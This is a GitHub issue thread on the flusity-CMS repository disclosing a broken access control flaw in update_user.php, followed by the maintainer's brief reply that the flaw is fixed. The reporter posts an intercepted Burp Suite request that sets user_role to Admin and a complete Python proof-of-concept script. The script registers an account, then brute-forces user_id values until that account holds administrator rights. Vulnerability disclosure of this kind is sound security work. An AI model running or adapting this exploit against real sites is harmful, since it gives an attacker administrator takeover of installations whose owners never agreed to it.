flusity / flusity-CMS

MIT License
2 stars 1 forks source link

Broken Access Control on update_user.php #5

Open JiaLiangChen99 opened 11 months ago

JiaLiangChen99 commented 11 months ago

When the installation is carried out and the administrator user is created, the burpsuit is used to intercept the packet that sends the request in the interface of modifying the user's information and identity. 1

# in burpsuite
POST /core/tools/update_user.php HTTP/1.1
Host: 192.168.31.28
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.31.28/core/tools/users.php
Content-Type: multipart/form-data; boundary=---------------------------19948403496506374292498565223
Content-Length: 1344
Origin: http://192.168.31.28
Connection: close
Cookie: PHPSESSID=gm8egd1mpvp0qruleug9v07vne

-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_id"

1
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="login_name"

inituser
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_username"

inituser
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_surname"

inituser
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_phone"

13714016888
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_email"

1533430224@qq.com
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_profile_img"; filename=""
Content-Type: application/octet-stream

-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_password"

123456
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_confirm_password"

123456
-----------------------------19948403496506374292498565223
Content-Disposition: form-data; name="user_role"

Admin
-----------------------------19948403496506374292498565223

Then, after I create a new ordinary user with the name hacker, I can change my identity to manager by modifying the above request packet.

Create a user 2 Modify the intercepted request packet and use burpsuite to add explosive payload to user_id: 3 Then, in the packet, modify the user's identity as an administrator: 4 Using burpsuite to attack 5 When I traverse to the correct user_id, I can change my identity from a normal user to an administrator user. 6



In the update_user.php file, an attacker can explode to generate a user_id, bypass the problem of authentication, and then execute later code to modify his identity.

$userId = (int)$_POST['user_id'];
$login_name = $_POST['login_name'];
$username = $_POST['user_username'];
$surname = $_POST['user_surname'];
$phone = $_POST['user_phone'];
$email = $_POST['user_email'];
$role = $_POST['user_role'];

// Patikrinti ar username yra unikalus
$stmt = $db->prepare("SELECT COUNT(*) FROM ".$prefix['table_prefix']."_flussi_users WHERE  username = :username AND id != :id");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':id', $userId);
$stmt->execute();
$usernameExists = $stmt->fetchColumn() > 0;

Before modifying the information, the identity of the requested user needs to be verified to prevent the attacker from being able to modify the identity parameters of the packet and change his identity to become an administrator.

JiaLiangChen99 commented 11 months ago

1

This code can achieve the above steps, here you need to set the registration information parameters, you can upgrade the rights of the registered user to the administrator user.

import requests
from bs4 import BeautifulSoup
import json

class FlusityCmsPoc:
    def __init__(self, register_name, register_email, register_phone, register_password,
                 base_url
                 ):
        """
        Some configuration parameters are required to detect vulnerabilities
        :param register_name : str
        :param register_email: str
        :param register_phone: str
        :param register_password: str
        :param base_url: str  Website routing address,example: http://192.168.31.22
        """
        self.register_name = register_name
        self.register_email = register_email
        self.phone = register_phone
        self.password = register_password 
        self.user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
        self.session = requests.session()
        self.origin = base_url
        self.register_url = self.origin + "/register"
        self.setting_role_url = self.origin + "/core/tools/update_user.php"

    def get_csrf_token(self):
        res1 = self.session.get(self.register_url, headers={'User-Agent':self.user_agent})
        soup = BeautifulSoup(res1.text, 'html.parser')
        self.csrf_token = soup.find('input', attrs={'name': 'csrf_token'})['value']
        cookies = res1.headers['Set-Cookie'].split(';')
        for cookie in cookies:
            if 'PHPSESSID' in cookie:
                self.PHPSESSID = cookie.split('=')[1]

    def make_me_admin(self):
        burp0_url = self.setting_role_url
        burp0_cookies = {"PHPSESSID": self.PHPSESSID}
        burp0_headers = {"User-Agent": self.user_agent, "Accept": "*/*", 
                         "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", 
                         "Accept-Encoding": "gzip, deflate", 
                         "Referer": self.origin + "/core/tools/users.php", 
                         "Content-Type": "multipart/form-data; boundary=---------------------------59276740625168615493944082091",
                         "Origin": self.origin, "Connection": "close"}
        userid = 0
        while True:
            burp0_data = f"-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_id\"\r\n\r\n{userid}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"login_name\"\r\n\r\n{self.register_name}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_username\"\r\n\r\n{self.register_name}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_surname\"\r\n\r\n{self.register_name}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_phone\"\r\n\r\n{self.phone}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_email\"\r\n\r\n{self.register_email}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_profile_img\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_password\"\r\n\r\n{self.password}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_confirm_password\"\r\n\r\n{self.password}\r\n-----------------------------59276740625168615493944082091\r\nContent-Disposition: form-data; name=\"user_role\"\r\n\r\nadmin\r\n-----------------------------59276740625168615493944082091--\r\n"
            res = self.session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
            if res.status_code == 200:
                if json.loads(res.text)['success']:
                    print(f'get admin role success\nusername is {self.register_name}\nuserpassword is {self.password}')
                    break
                else:
                    userid += 1
            else:
                print('requests_fail')
                break

    def register_user(self):
        burp0_cookies = {"PHPSESSID": "t8od5siergqlslk9fh73le0nnu"}
        burp0_headers = {"User-Agent":self.user_agent , 
                         "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", 
                         "Origin": self.origin, "Connection": "close", "Referer": self.register_url, "Upgrade-Insecure-Requests": "1"}
        burp0_data = {"login_name": self.register_name, "username": self.register_name, 
                      "surname": self.register_name, "phone": self.phone, "email": self.register_email, 
                      "password": self.password, "confirm_password": self.password, 
                      "csrf_token": self.csrf_token}
        res = self.session.post(self.register_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

        if 'That Name or Login Name is already taken. Choose another. ' in res.text:
            print('The creation failed, That Name or Login Name is already taken. Choose another. ')
        else:
            self.make_me_admin()

    def exp(self):
        self.get_csrf_token()
        self.register_user()

if __name__ == '__main__':
    # setting the register user info, It should be an unregistered user
    flusity = FlusityCmsPoc(
        register_email='12321312312322@163.com',
        register_name='test1',
        register_password='123456',
        register_phone='1321231231222',
        base_url='http://192.168.31.28'
    )
    flusity.exp()

In the above code, the attacker creates a random user named test1 with a password of 123456. When the execution is successful, user test1 is the administrator user. 2 3

flusity commented 11 months ago

Thanks for the observations, it was a serious loophole for which I made code corrections, I think I managed to properly protect this part of the user.